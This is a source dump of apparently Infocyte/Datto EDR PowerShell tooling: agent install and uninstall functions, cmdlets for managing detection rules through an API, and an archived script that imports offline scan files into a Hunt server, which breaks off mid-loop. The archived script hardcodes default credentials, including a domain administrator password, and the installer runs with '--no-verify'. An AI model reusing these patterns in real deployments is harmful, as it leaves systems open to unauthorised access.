$arguments = @("--url $hunturl") 154 | $arguments += "--no-gui" 155 | $arguments += "--no-verify" 156 | if ($RegKey) { $arguments += "--key $RegKey" } 157 | if ($FriendlyName) { $arguments += "--friendly $FriendlyName" } 158 | if ($Proxy) { $arguments += "--proxy $Proxy" } 159 | if (-NOT $Interactive) { $arguments += "--quiet" } 160 | 161 | $version = & "$DownloadPath" --version 162 | if ($version -notmatch "RTS Agent") { 163 | if ($Interactive) { 164 | Write-Warning "$(Get-Date) [Error] $DownloadPath (version: $version, sha1: $sha1) is not valid or appears to be corrupt." 165 | Write-Warning "Output: `n$version" 166 | } 167 | "$(Get-Date) [Error] $DownloadPath (version: $version, sha1: $sha1) is not valid or appears to be corrupt." >> $LogPath 168 | "$(Get-Date) [Error] Output: `n$version" >> $LogPath 169 | } 170 | 171 | if ($Interactive) { Write-Host "$(Get-Date) [Information] Downloaded agent.windows.exe (version: $version, sha1: $sha1) from $agentURL" } 172 | if ($Interactive) { Write-Host "$(Get-Date) [Information] Installing Agent: $($DownloadPath.Substring($DownloadPath.LastIndexOf('\')+1)) $arguments" } 173 | "$(Get-Date) [Information] Installing Agent: Downloaded agent.windows.exe from $agentURL [sha1: $sha1] and executing with commandline: $($DownloadPath.Substring($DownloadPath.LastIndexOf('\')+1)) $arguments" >> $LogPath 174 | # Execute! 175 | try { 176 | Start-Process -NoNewWindow -FilePath $DownloadPath -ArgumentList $arguments -Wait -ErrorAction Stop 177 | if ($Interactive) { Write-Host "$(Get-Date) [Success] Installation Succeeded! Agent associated to $URL." } 178 | "$(Get-Date) [Success] Installation Succeeded! Agent associated to $URL." >> $LogPath 179 | 180 | #& $DownloadPath $arguments 181 | } catch { 182 | if ($Interactive) { Write-Error "$(Get-Date) [Error] Installation Error: Could not start agent.windows.exe. [$_]" } 183 | "$(Get-Date) [Error] Installation Error: Could not start agent.windows.exe. [$_]" >> $LogPath 184 | } 185 | 186 | } 187 | 188 | Function Uninstall-EDR() { 189 | <# 190 | .SYNOPSIS 191 | Uninstalls the Datto EDR agent 192 | 193 | .DESCRIPTION 194 | Uninstalls the Datto EDR agent 195 | 196 | .Aliases 197 | uninstallagent 198 | 199 | .LINK 200 | https://github.com/Infocyte/PowershellTools/master/AgentDeployment 201 | 202 | #> 203 | param( 204 | [Parameter(HelpMessage="Use this switch silence output.")] 205 | [Switch]$Silent 206 | ) 207 | $LogPath = "$env:SystemDrive\windows\Temp\agentinstallscript.log" 208 | 209 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 210 | Write-Warning "[Error] You do not have Administrator rights to run this script!`nPlease re-run as an Administrator!" 211 | "$(Get-Date) [Error] Installation Error: Script not run as administrator!" >> $LogPath 212 | return 213 | } 214 | 215 | $service = Get-WmiObject -class win32_service -Filter "name='HUNTAgent'" -ea SilentlyContinue | Select-Object PathName -ExpandProperty PathName 216 | 217 | If ($Service) { 218 | if ($service -match '^"(.*?)" --service') { 219 | $AgentPath = $matches[1] 220 | } else { 221 | $AgentPath = 'C:\Program Files\Infocyte\Agent\agent.exe' 222 | } 223 | 224 | if (-NOT $Silent) { Write-Host "Uninstalling Datto EDR Agent." } 225 | "$(Get-Date) [Information] Uninstalling Datto EDR Agent." >> $LogPath 226 | 227 | # Uninstall 228 | $arguments = @("--uninstall") 229 | $arguments += "--no-gui" 230 | if ($Silent) { $arguments += "--quiet" } 231 | 232 | try { 233 | Start-Process -NoNewWindow -FilePath $AgentPath -ArgumentList $arguments -Wait -ErrorAction Stop 234 | #& $DownloadPath $arguments 235 | } catch { 236 | if (-NOT $Silent) { Write-Error "$(Get-Date) [Error] Uninstall Error: Could not execute agent.exe --uninstall. [$_]" } 237 | "$(Get-Date) [Error] Uninstall Error: Could not execute agent.windows.exe --uninstall. [$_]" >> $LogPath 238 | } 239 | 240 | } else { 241 | if (-NOT $Silent) { Write-Warning "Agent was not installed." } 242 | "$(Get-Date) [Information] Attempted to uninstall Agent but was not installed. Skipping." >> $LogPathvvv 243 | } 244 | } 245 | 246 | Export-ModuleMember -Alias 'installagent' -Function 'Install-EDR' 247 | Export-ModuleMember -Alias 'uninstallagent' -Function 'Uninstall-EDR' 248 | } | Out-Null 249 | Set-Alias installagent -Value Install-EDR 250 | Set-Alias uninstallagent -Value Uninstall-EDR -------------------------------------------------------------------------------- /HUNT Powershell Module/rules.ps1: -------------------------------------------------------------------------------- 1 | 2 | function Import-ICRule { 3 | [cmdletbinding(DefaultParameterSetName = 'Rule')] 4 | Param( 5 | [parameter( 6 | Mandatory, 7 | ValueFromPipeline, 8 | ParameterSetName = 'Rule')] 9 | [ValidateNotNullOrEmpty()] 10 | [PSCustomObject]$Rule, 11 | 12 | [parameter( 13 | Mandatory, 14 | ValueFromPipeline, 15 | ValueFromPipelineByPropertyName, 16 | ParameterSetName = 'Path')] 17 | [ValidateNotNullorEmpty()] 18 | [String]$Path, 19 | 20 | [parameter(ParameterSetName = 'Rule')] 21 | [parameter(ParameterSetName = 'Path')] 22 | [Switch]$Active, 23 | 24 | [parameter(ParameterSetName = 'Rule')] 25 | [parameter(ParameterSetName = 'Path')] 26 | [Switch]$Force 27 | ) 28 | 29 | PROCESS { 30 | if ($Path) { 31 | $Body = Get-Content $Path -Raw 32 | #$reader = New-Object -TypeName System.IO.StreamReader -ArgumentList $Path 33 | $rules = ConvertFrom-Yaml $Body | convertto-json | convertfrom-json | ForEach-Object { 34 | if ($null -eq $_.rule) { 35 | Write-Error "Incorrect filetype. Not an Infocyte Rule" 36 | continue 37 | } 38 | $_ 39 | } 40 | } else { 41 | if ($null -eq $rule.rule) { 42 | Write-Error "Incorrect filetype. Not an Infocyte Rule" 43 | continue 44 | } 45 | $rules = $rule 46 | } 47 | 48 | 49 | $rules | Foreach-Object { 50 | $rule = $_ 51 | if ($rule.guid) { 52 | 53 | if ($rule.guid -notmatch $GUID_REGEX) { 54 | Write-Error "Incorrect guid format: $($rule.guid). Should be a guid of form: $GUID_REGEX. 55 | Use the following command to generate a new one: [guid]::NewGuid().Guid" 56 | $guid = [guid]::NewGuid().Guid 57 | Write-Warning "Missing guid: Generating a new one prior to import: $guid" 58 | $rule.guid = $guid 59 | } 60 | else { 61 | $existingRule = Get-ICRule -where @{ guid = $rule.guid } -NoBody | Select-Object -First 1 62 | if ($existingRule) { 63 | if (-NOT $Force) { 64 | Write-Warning "There is already an existing rule named $($existingRule.name) [$($existingRule.Id)] with guid $($rule.guid). Try using Update-ICRule or use -Force flag." 65 | continue 66 | } 67 | Write-Warning "There is already an existing rule named $($existingRule.name) [$($existingRule.Id)] with guid $($rule.guid). Forcing update." 68 | $id = $existingRule.id 69 | Invoke-ICAPI -Endpoint rules -method POST -body @{ 70 | id = $id 71 | name = $rule.name 72 | short = $rule.short 73 | description = $rule.description 74 | body = $rule.rule 75 | } 76 | continue 77 | } 78 | } 79 | } 80 | else { 81 | $rule | Add-Member -TypeName NoteProperty -Name guid -Value ([guid]::NewGuid().Guid) 82 | } 83 | 84 | Write-Verbose "Adding new Rule named: $($rule.name)" 85 | Invoke-ICAPI -Endpoint rule -method POST -body @{ 86 | name = $rule.name 87 | short = $rule.short 88 | description = $rule.description 89 | body = $rule.rule 90 | guid = $rule.guid 91 | } 92 | } 93 | } 94 | } 95 | 96 | function Get-ICRule { 97 | [cmdletbinding(DefaultParameterSetName = "List")] 98 | Param( 99 | [parameter( 100 | Mandatory, 101 | ValueFromPipeline, 102 | ParameterSetName = 'Id')] 103 | [ValidateScript( { if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid." } })] 104 | [alias('ruleId')] 105 | [String]$Id, 106 | 107 | [parameter( 108 | ParameterSetName = 'List', 109 | HelpMessage = "This will convert a hashtable into a JSON-encoded Loopback Where-filter: https://loopback.io/doc/en/lb2/Where-filter ")] 110 | [HashTable]$where = @{}, 111 | 112 | [parameter( 113 | ParameterSetName = 'List')] 114 | [Switch]$NoLimit, 115 | 116 | [parameter( 117 | ParameterSetName = 'List')] 118 | [Switch]$CountOnly, 119 | 120 | [Switch]$IncludeBody, 121 | 122 | [Switch]$Export 123 | ) 124 | 125 | PROCESS { 126 | 127 | if ($Id) { 128 | Write-Verbose "Looking up rule by Id." 129 | $Endpoint = "rules/$Id" 130 | $rules = Get-ICAPI -Endpoint $Endpoint -ea 0 131 | if (-NOT $rules) { 132 | Write-Warning "Could not find rule with Id: $($Id)" 133 | return 134 | } 135 | } 136 | else { 137 | Write-Verbose "Getting rules" 138 | $Endpoint = "rules" 139 | $rules = Get-ICAPI -endpoint $Endpoint -where $where -NoLimit:$NoLimit -CountOnly:$CountOnly 140 | if (-NOT $rules) { 141 | Write-Verbose "Could not find any rules loaded with filter: $($where|convertto-json -Compress)" 142 | return 143 | } 144 | if ($CountOnly) { 145 | return $rules 146 | } 147 | } 148 | 149 | $n = 1 150 | if ($null -eq $rules.count) { 151 | $c = 1 152 | } 153 | else { 154 | $c = $rules.count 155 | } 156 | if ($IncludeBody -or $Export) { 157 | $rules | ForEach-Object { 158 | $rule = $_ 159 | Write-Verbose "Getting Rule $($rule.name) [$($rule.id)]" 160 | try { $pc = [math]::Floor(($n / $c) * 100) } catch { $pc = -1 } 161 | Write-Progress -Id 1 -Activity "Getting Rule Body from Infocyte API" -Status "Requesting Body from Rule $n of $c" -PercentComplete $pc 162 | $ruleBody = Get-ICAPI -endpoint "rules/$($rule.id)/LatestVersion" -fields body, sha256 163 | $rule | Add-Member -MemberType NoteProperty -Name rule -Value $ruleBody.body 164 | $rule | Add-Member -MemberType NoteProperty -Name sha256 -Value $ruleBody.sha256 165 | Write-Verbose "Looking up user: $($rule.createdBy) and $($rule.updatedBy)" 166 | $rule.createdBy = (Get-ICAPI -endpoint users -where @{ id = $rule.createdBy } -fields email -ea 0).email 167 | $rule.updatedBy = (Get-ICAPI -endpoint users -where @{ id = $rule.updatedBy } -fields email -ea 0).email 168 | $n += 1 169 | } 170 | Write-Progress -Id 1 -Activity "Getting Rules from Infocyte API" -Status "Complete" -Completed 171 | } 172 | 173 | if ($Export) { 174 | $rules | ForEach-Object { 175 | $FilePath = "$($(Resolve-Path .\).Path)\$($($_.name).ToLower().Replace(' ','_')).yaml" 176 | $new_rule = [PSCustomObject][Ordered]@{ 177 | name = $_.name 178 | guid = if ($_.guid) { $_.guid } else { $null } 179 | rule = $_.body 180 | author = $_.createdBy 181 | description = $_.description 182 | short = $_.short 183 | severity = if ($_.severity) { $_.severity } else { "Medium" } 184 | created = $_.created 185 | updated = $_.updated 186 | action = @{ alert = $true } 187 | } 188 | Write-Verbose "Exported Rule [$($_.name)] to $FilePath" 189 | $_ | Convertto-YAML -Force -OutFile $FilePath 190 | } 191 | } 192 | $rules 193 | } 194 | } 195 | function New-ICRule { 196 | [cmdletbinding()] 197 | param( 198 | [parameter(mandatory)] 199 | [String]$Name, 200 | 201 | [Parameter(Mandatory)] 202 | [String]$Rule, 203 | 204 | [Parameter()] 205 | [String]$Author = $env:Username, 206 | 207 | [Parameter()] 208 | [String]$Short, 209 | 210 | [Parameter()] 211 | [String]$Description, 212 | 213 | [Parameter()] 214 | [ValidateSet( 215 | "Critical", 216 | "High", 217 | "Medium", 218 | "Low" 219 | )] 220 | [String]$Severity = "Medium", 221 | 222 | [Switch]$Force 223 | ) 224 | 225 | $today = Get-Date -UFormat "%F" 226 | 227 | $new_rule = [PSCustomObject][Ordered]@{ 228 | name = $Name 229 | guid = [Guid]::NewGuid().guid 230 | rule = $Rule 231 | author = $Author 232 | description = $Description 233 | short = $Short 234 | severity = $Severity 235 | created = $today 236 | updated = $today 237 | action = @{ alert = $true } 238 | } 239 | 240 | $SavePath = (Resolve-Path .\).Path + "\new_rule.yaml" 241 | Write-Verbose "Created rule from template and saved to $SavePath" 242 | $new_rule | ConvertTo-YAML -OutFile $SavePath -Force 243 | Write-Output $new_rule 244 | } 245 | function Update-ICRule { 246 | <# 247 | Updates an existing rule with a new body from a file or string. 248 | #> 249 | [cmdletbinding(SupportsShouldProcess = $true)] 250 | Param( 251 | [parameter()] 252 | [ValidateScript( { if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid." } })] 253 | [alias('ruleId')] 254 | [String]$Id, 255 | 256 | [parameter(Mandatory)] 257 | [ValidateNotNullorEmpty()] 258 | [PSCustomObject]$Rule, 259 | 260 | [parameter(Mandatory)] 261 | [Switch]$Active 262 | ) 263 | 264 | PROCESS { 265 | $Endpoint = "rules" 266 | 267 | $rule = ConvertFrom-Yaml $Body | convertto-json | convertfrom-json 268 | if ($null -eq $_.rule) { 269 | Write-Error "Incorrect filetype. Not an Infocyte Rule" 270 | return 271 | } 272 | 273 | $postbody = @{ 274 | name = $rule.name 275 | short = $rule.short 276 | description = $rule.description 277 | body = $rule.rule 278 | guid = $rule.guid 279 | active = $Active 280 | } 281 | 282 | if ($Id) { 283 | Write-Verbose "Looking up rule by Id" 284 | $existing_rule = Get-ICRule -id $Id -ea 0 285 | if ($existing_rule) { 286 | $Endpoint = "rules/$Id" 287 | Write-Verbose "Rule found: `n$($existing_rule | ConvertTo-Json)" 288 | if (-NOT $postbody['active']) { $postbody['active'] = $existing_rule.active } 289 | if (-NOT $postbody['name']) { $postbody['name'] = $existing_rule.name } 290 | if (-NOT $postbody['short']) { $postbody['short'] = $existing_rule.short } 291 | if (-NOT $postbody['description']) { $postbody['description'] = $existing_rule.description } 292 | if (-NOT $postbody['body']) { $postbody['body'] = $existing_rule.body } 293 | 294 | if (-NOT $postbody['guid']) { $postbody['guid'] = $existing_rule.guid } 295 | elseif ($rule.guid -AND $existing_rule.guid -ne $rule.guid) { 296 | Write-Warning "Rule guids do not match. Cannot be updated, try importing the new rule!`nCurrent: $($existing_rule.guid)`nNew: $($rule.guid)" 297 | return 298 | } 299 | } else { 300 | Write-Warning "Rule with id $id not found!" 301 | return 302 | } 303 | } 304 | else { 305 | Write-Verbose "Looking up rule by Guid" 306 | $existing_rule = Get-ICRule -ea 0 -where @{ guid = $rule.guid } -NoBody 307 | if ($existing_rule) { 308 | Write-Verbose "Found existing rule with matching guid $($existing_rule.guid). Updating id $($existing_rule.id)" 309 | $Endpoint = "rules/$($existing_rule.id)" 310 | $existing_rule = Get-ICRule -id $existing_rule.id 311 | if (-NOT $postbody['active']) { $postbody['active'] = $existing_rule.active } 312 | if (-NOT $postbody['name']) { $postbody['name'] = $existing_rule.name } 313 | if (-NOT $postbody['short']) { $postbody['short'] = $existing_rule.short } 314 | if (-NOT $postbody['description']) { $postbody['description'] = $existing_rule.description } 315 | if (-NOT $postbody['body']) { $postbody['body'] = $existing_rule.body } 316 | } 317 | else { 318 | Write-Warning "Could not find existing rule with Guid: $($existing_rule.guid)" 319 | return 320 | } 321 | } 322 | 323 | Write-Verbose "Updating Rule: $($rule['name']) [Guid=$($rule.guid)] with `n$($postbody|convertto-json)" 324 | if ($PSCmdlet.ShouldProcess($($rule.name), "Will update rule $($postbody['name']) [$postbody['id'])]")) { 325 | Invoke-ICAPI -Endpoint $Endpoint -body $postbody -method POST 326 | } 327 | } 328 | } 329 | 330 | function Remove-ICRule { 331 | [cmdletbinding(SupportsShouldProcess = $true)] 332 | Param( 333 | [parameter( 334 | ValueFromPipeline, 335 | ValueFromPipelineByPropertyName)] 336 | [ValidateScript( { if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid." } })] 337 | [alias('ruleId')] 338 | [String]$Id 339 | ) 340 | 341 | PROCESS { 342 | if ($Id) { 343 | $rule = Get-ICRule -id $Id 344 | if (-NOT $rule) { 345 | Write-Error "Rule with id $id not found!" 346 | return 347 | } 348 | 349 | $Endpoint = "rules/$Id" 350 | if ($PSCmdlet.ShouldProcess($($rule.Id), "Will remove $($rule.name) with ruleId '$($rule.id)'")) { 351 | try { 352 | Invoke-ICAPI -Endpoint $Endpoint -Method DELETE 353 | Write-Verbose "Removed rule $($rule.name) [$($rule.id)]" 354 | } catch { 355 | Write-Warning "Rule $($rule.name) [$($rule.id)] could not be removed!" 356 | } 357 | } 358 | } else { 359 | $endpoint = "rules" 360 | Invoke-ICAPI -Endpoint $Endpoint -Method DELETE 361 | Write-Verbose "Removed all rules" 362 | } 363 | } 364 | } 365 | -------------------------------------------------------------------------------- /Archive/On-Prem 3.0+/Import-HuntICLZs.ps1: -------------------------------------------------------------------------------- 1 | # Script to upload manual .iclz file to hunt server. 2 | Param( 3 | [Parameter( Position = 0, 4 | Mandatory = $true)] 5 | [String] 6 | $Path, # 7 | 8 | [String] 9 | $TargetListName = "OfflineScans", 10 | 11 | [String] 12 | $Target = "localhost", 13 | 14 | [String] 15 | $HuntServer = "https://localhost:4443", 16 | 17 | [PSCredential] 18 | [System.Management.Automation.Credential()] 19 | $HuntCredential = [System.Management.Automation.PSCredential]::Empty, 20 | 21 | [PSCredential] 22 | [System.Management.Automation.Credential()] 23 | $ScanCredential = [System.Management.Automation.PSCredential]::Empty 24 | ) 25 | 26 | Write-Host "PSVersion Check: $($PSVersionTable.PSVersion.tostring())" 27 | $UploadDir = "C:\Program Files\Infocyte\Hunt\uploads" 28 | 29 | # Automatically import the Infocyte API calls 30 | # Makes it easier for users, so they don't have to do this separately 31 | if (Get-Command New-ICToken -errorAction SilentlyContinue) { 32 | # InfocyteAPIFunctions.ps1 already imported 33 | } else { 34 | if (Test-Path -Path "$PSScriptRoot\InfocyteAPIFunctions.ps1") { 35 | Write-Host "Importing Infocyte API Functions ($PSScriptRoot\InfocyteAPIFunctions.ps1)" 36 | . "$PSScriptRoot\InfocyteAPIFunctions.ps1" 37 | } else { 38 | Write-Host -ForegroundColor Red "You must import the InfocyteAPIFunctions.ps1 script." 39 | Write-Host -ForegroundColor Red "Include it in the same folder as this script, and rerun this script with the same parameters." 40 | return 41 | } 42 | } 43 | 44 | if (-NOT (Test-Path -Path $UploadDir)) { 45 | Write-Host -ForegroundColor Red "You are not on the Hunt Server. You must run this script on the Hunt server." 46 | return 47 | } 48 | 49 | if (Test-Path $Path -PathType Container) { 50 | if (-NOT (Get-ChildItem $Path -filter *.iclz)) { 51 | Write-Host -ForegroundColor Red "ERROR: $Path does not contain .iclz files" 52 | return 53 | } 54 | } else { 55 | Write-Host -ForegroundColor Red "ERROR: $Path is not a directory" 56 | return 57 | } 58 | 59 | # Hardcoded Credentials (unsafe in production but convenient for testing) 60 | 61 | # Infocyte Credentials 62 | # If a user did not add their credentials, use the default ones. 63 | if ($HuntCredential -eq [System.Management.Automation.PSCredential]::Empty) { 64 | $username = 'infocyte' 65 | $password = 'hunt' | ConvertTo-SecureString -asPlainText -Force 66 | $Script:HuntCredential = New-Object System.Management.Automation.PSCredential($username,$password) 67 | } 68 | 69 | # Query Credentials (Scanning Admin/Service Account) 70 | # If a user did not add their credentials, use the default ones. 71 | # This will not work unless it is on that specific machine, so make sure you add your credentials at the beginning. 72 | if ($ScanCredential -eq [System.Management.Automation.PSCredential]::Empty) { 73 | $username = 'galactica.int\administrator' 74 | $password = 'hunt' | ConvertTo-SecureString -asPlainText -Force 75 | $Script:ScanCredential = New-Object System.Management.Automation.PSCredential($username,$password) 76 | } 77 | 78 | if (-NOT (Test-Path $Path)) { 79 | Write-Host -ForegroundColor Red "Path does not exist, place your ICLZ files in $Path" 80 | return 81 | } 82 | elseif (-NOT (Get-ChildItem -Recurse -Path $Path -Filter *.iclz)) { 83 | Write-Host -ForegroundColor Red "Path does not contain any .ICLZ files" 84 | return 85 | } 86 | 87 | # Create new login Token and add it to Script variable 88 | Write-Host "Connecting to $HuntServer using account $($HuntCredential.username)" 89 | $NewToken = New-ICToken $HuntCredential $HuntServer 90 | if ($NewToken.id) { 91 | Write-Host "Login successful to $HuntServer" 92 | Write-Host "Login Token id: $($NewToken.id)" 93 | } else { 94 | Write-Host -ForegroundColor Red "ERROR: Could not get a token from $HuntServer using credentials $($HuntCredential.username)" 95 | return 96 | } 97 | # Error if token no longer valid is: 98 | # WARNING: Error: The underlying connection was closed: An unexpected error occurred on a send. 99 | 100 | 101 | # Get Target List. 102 | $TargetList = Get-ICTargetList 103 | if ($TargetList -like "Error:*") { 104 | Write-Host -ForegroundColor Red "$TargetList" 105 | return 106 | } else { 107 | $TargetList = $TargetList | Where-Object { $_.name -eq $TargetListName -AND $_.deleted -eq $False} 108 | if ($TargetList) { 109 | Write-Host "TargetList $TargetListName is already created" 110 | $TargetListId = $TargetList[0].id 111 | } else { 112 | # If our specified list isn't there, create it. 113 | Write-Host "Creating TargetList named $TargetListName" 114 | $TargetListId = (New-ICTargetList $TargetListName).id 115 | } 116 | } 117 | 118 | # Get Credentials 119 | $CredObjects = Get-ICCredentials 120 | if ($CredObjects -like "Error:*") { 121 | Write-Host -ForegroundColor Red "$CredObjects" 122 | return 123 | } else { 124 | $CredObjects = $CredObjects | where { $_.name -eq "HuntLocal"} 125 | if ($CredObjects) { 126 | Write-Host "HuntLocal Credential is already loaded. Check the HUNT interface if you need to change the password or account." 127 | $CredentialId = $CredObjects[0].id 128 | } else { 129 | #Create new Credential for target 130 | Write-Host "Creating new Credential for the local Hunt Server: $($ScanCredential.username)" 131 | $CredentialId = (New-ICCredential -Name "HuntLocal" -Cred $ScanCredential).id 132 | } 133 | } 134 | 135 | # Get Queries 136 | $Queries = Get-ICQuery $TargetListId 137 | if ($Queries -like "Error:*") { 138 | Write-Host -ForegroundColor Red "$Queries" 139 | return 140 | } else { 141 | $Queries = $Queries | where { $_.value -eq $Target -AND $_.credentialId -eq $CredentialId} 142 | if ($Queries) { 143 | Write-Host "Query already created for $Target within TargetList $TargetListId" 144 | $QueryId = $Queries[0].id 145 | } else { 146 | #Create new Query for target 147 | Write-Host "Creating new Query for: $Target within TargetList $TargetListId" 148 | $QueryId = (New-ICQuery -targetListId $TargetListId -credentialId $CredentialId -query $Target).id 149 | } 150 | } 151 | 152 | # Initiate Enumeration 153 | Write-Host "Enumerating $Target" 154 | $enumtime = get-date 155 | Invoke-ICEnumeration $TargetListId $QueryId 156 | Start-Sleep 1 157 | 158 | # Track Status of Enumeration 159 | $active = $true 160 | Write-Host "Waiting for enumeration to complete" 161 | Write-Progress -Activity "Enumerating Target" -status "Initiating Enumeration" 162 | while ($active) { 163 | Start-Sleep 1 164 | $status = Get-ICUserTasks 165 | if ($status -like "Error:*") { 166 | Write-Host -ForegroundColor Red "Error on Get-ICUserTasks: $status" 167 | Write-Warning "Attempting to re-connecting to $HuntServer" 168 | $NewToken = New-ICToken $HuntCredential $HuntServer 169 | if ($NewToken.id) { 170 | Write-Host "Login successful to $HuntServer" 171 | Write-Host "Login Token id: $($NewToken.id)" 172 | continue 173 | } else { 174 | Write-Host -ForegroundColor Red "ERROR: Could not get a token from $HuntServer using credentials $($HuntCredential.username)" 175 | return 176 | } 177 | } elseif ($status) { 178 | $status = $status | Where-Object { $_.userid -eq $NewToken.userid -AND $_.type -eq "Enumerate" -AND [datetime]$_.createdon -gt $enumtime} 179 | } else { 180 | Write-Host -ForegroundColor Red "Error on Get-ICUserTasks: No Jobs have been started..." 181 | Start-Sleep 1 182 | continue 183 | } 184 | 185 | if ($status) { 186 | $lastStatus = $status[0].message 187 | if ($Status.message -match "error") { 188 | $active = $false 189 | Write-Host -ForegroundColor Red "ERROR: Could not enumerate Target: $($Status.message)" 190 | return "ERROR: Could not enumerate Target: $($Status.message)" 191 | } 192 | if ($status.progress) { 193 | $elapsedtime = "$($($status.elapsed)/1000)" 194 | Write-Progress -Activity "Enumerating Target" -status "[Elapsed (seconds): $elapsedtime] $($status.message)" -percentComplete ($status.progress) 195 | } 196 | if ($status.status -eq "Completed") { 197 | $active = $false 198 | Write-Host "Enumeration Complete: $($lastStatus)" 199 | } 200 | } else { 201 | Write-Host -ForegroundColor Red "Unhandled Error on enumeration Get-ICUserTasks: $Status" 202 | $active = $false 203 | } 204 | } 205 | Start-Sleep 1 206 | 207 | $TargetListResults = Get-ICAddresses $TargetListId 208 | if ($TargetListResults) { 209 | if ($TargetListResults.accessibleAddressCount -eq 0) { 210 | $failreason = (Get-ICAddresses $TargetListId).failureReason 211 | 212 | Write-Host -ForegroundColor Red "ERROR: Enumeration was not successful ($failreason). Please check your ScanCredentials for the hunt server (HuntLocal) localhost within the Infocyte HUNT UI Credential Manager and try again" 213 | return "ERROR: Enumeration was not successful ($failreason)" 214 | } else { 215 | Write-Host "Enumeration Successful!" 216 | } 217 | } else { 218 | Write-Host -ForegroundColor Red "ERROR: Could not get target list" 219 | return 220 | } 221 | 222 | 223 | #Copy .iclz files into upload folder (temp dir) 224 | # $LastFolder = (Get-ChildItem $UploadDir | Sort-Object LastWriteTime -Descending)[0].Name 225 | $TempFolderName = "temp$([guid]::NewGuid())" 226 | $iclznum = get-childitem $Path -filter *.iclz -recurse 227 | Write-Host "Copying folder of $($iclznum.count) .iclz files from $Path to staging temp directory: $UploadDir\$TempFolderName" 228 | try { 229 | Copy-Item -Path $Path -Destination "$UploadDir\$TempFolderName" -recurse -ErrorAction Stop 230 | } catch { 231 | Write-Host -ForegroundColor Red "ERROR: Could not copy files from $Path to the infocyte upload directory: $UploadDir" 232 | Write-Host -ForegroundColor Red "ERROR: $_" 233 | return 234 | } 235 | <# 236 | # TODO: Change this to grab the iclz files only and rename them using their md5 hash so we're not uploading the same iclz file twice (which would break everything) 237 | Get-ChildItem $Path -filter *.iclz | Foreach-Object { 238 | $newhash = (Get-Hashes -Path $_ -Type MD5).md5 239 | Copy-Item -Path $_ -Destination $UploadDir\$TempFolderName\Survey-$newhash.json.iclz -recurse -Container 240 | } 241 | #> 242 | 243 | $baseScanId = "NO_SCAN" 244 | $scanId = $baseScanId 245 | #Write-Host "Last Active ScanId: $baseScanId (Should say NO_SCAN if no scan is currently running)" 246 | 247 | # Initiate Scan 248 | Write-Host "Initiating Scan of $Target" 249 | $scantime = get-date 250 | $ScanTask = Invoke-ICScan $TargetListId 251 | $ScanTask 252 | Start-Sleep 1 253 | if ($ScanTask -like "Error:*") { 254 | Write-Host -ForegroundColor Red "Error on Invoke-ICScan: $ScanTask" 255 | Write-Warning "Attempting to re-connecting to $HuntServer" 256 | $NewToken = New-ICToken $HuntCredential $HuntServer 257 | if ($NewToken.id) { 258 | Write-Host "Login successful to $HuntServer" 259 | Write-Host "Login Token id: $($NewToken.id)" 260 | $ScanTask = Invoke-ICScan $TargetListId 261 | Start-Sleep 1 262 | } else { 263 | Write-Host -ForegroundColor Red "ERROR: Could not get a token from $HuntServer using credentials $($HuntCredential.username)" 264 | return 265 | } 266 | } 267 | 268 | # Wait for new scan to be created 269 | $scanId = $baseScanId 270 | while ($scanId -eq $baseScanId) { 271 | Start-Sleep 1 272 | $ScanJobs = Get-ICUserTasks 273 | if ($ScanJobs -like "ERROR:*") { 274 | Write-Host -ForegroundColor Red "Error on Get-ICUserTasks: $ScanJobs" 275 | Write-Warning "Attempting to re-connecting to $HuntServer" 276 | $NewToken = New-ICToken $HuntCredential $HuntServer 277 | if ($NewToken.id) { 278 | Write-Host "Login successful to $HuntServer" 279 | Write-Host "Login Token id: $($NewToken.id)" 280 | } else { 281 | Write-Host -ForegroundColor Red "ERROR: Could not get a token from $HuntServer using credentials $($HuntCredential.username)" 282 | return "ERROR: Could not get a token from $HuntServer using credentials $($HuntCredential.username)" 283 | } 284 | } elseif ($ScanJobs) { 285 | $ScanJobs = $ScanJobs | Sort-Object timestamp -Descending | where { $_.userid -eq $NewToken.userid -AND [datetime]$_.createdon -gt $scantime -AND ($_.type -eq "Scan")} 286 | if ($ScanJobs -AND ($ScanJobs -match "Error")) { 287 | Write-Host -ForegroundColor Red "Error on scan. Check error message and investigate scan failure in HUNT server logs:" 288 | Write-Host -ForegroundColor Red $ScanJobs 289 | return "Error on last scan job. Check error message and investigate scan failure in HUNT server logs" 290 | } 291 | if ($ScanJobs | Where-Object { $_.status -eq "Active"}) { 292 | $scanId = $ScanJobs[0].options.scanid 293 | Write-Host "New ScanId created! Now: $scanId" 294 | } else { 295 | Write-Host "Waiting for new ScanId to be created... ScanID is currently $scanID as of $(Get-Date)" 296 | } 297 | } else { 298 | Write-Host -ForegroundColor Red "No Active Scan! Waiting for scan to be initiated..." 299 | } 300 | } 301 | 302 | Write-Host "Renaming $UploadDir\$TempFolderName Directory to $UploadDir\$ScanId" 303 | if (Test-Path $UploadDir\$ScanId) { 304 | Write-Host -ForegroundColor Red "Folder $UploadDir\$ScanId already exists!" 305 | } else { 306 | try { 307 | Rename-Item -path $UploadDir\$TempFolderName -newname $ScanId -ErrorAction Stop 308 | } catch { 309 | Write-Host -ForegroundColor Red "ERROR: Could not rename temp folder ($UploadDir\$TempFolderName --> $UploadDir\$ScanId), survey results will not be processed" 310 | Write-Host -ForegroundColor Red "$_" 311 | return $_ 312 | } 313 | } 314 | Write-Host "Your HostSurvey results will be processed as the current scan of TargetList $TargetListName moves to the processing phase." 315 | Start-Sleep 1 316 | 317 | # Track Status of Scan processing 318 | $active = $true 319 | while ($active) { 320 | Start-Sleep 0.5 321 | $status = Get-ICUserTasks 322 | if ($status -like "Error:*") { 323 | Write-Host -ForegroundColor Red "$Status" 324 | Write-Warning "Attempting to re-connecting to $HuntServer" 325 | $NewToken = New-ICToken $HuntCredential $HuntServer 326 | if ($NewToken.id) { 327 | Write-Host "Login successful to $HuntServer" 328 | Write-Host "Login Token id: $($NewToken.id)" 329 | continue 330 | } else { 331 | Write-Host -ForegroundColor Red "ERROR: Could not get a token from $HuntServer using credentials $($HuntCredential.username)" 332 | return 333 | } 334 | } 335 | $status = $status | Where-Object { $_.options.ScanId -eq $scanId } 336 | if ($status.status -eq "Active") { 337 | $elapsedtime = ((Get-Date) - [datetime]$status.createdOn).TotalSeconds 338 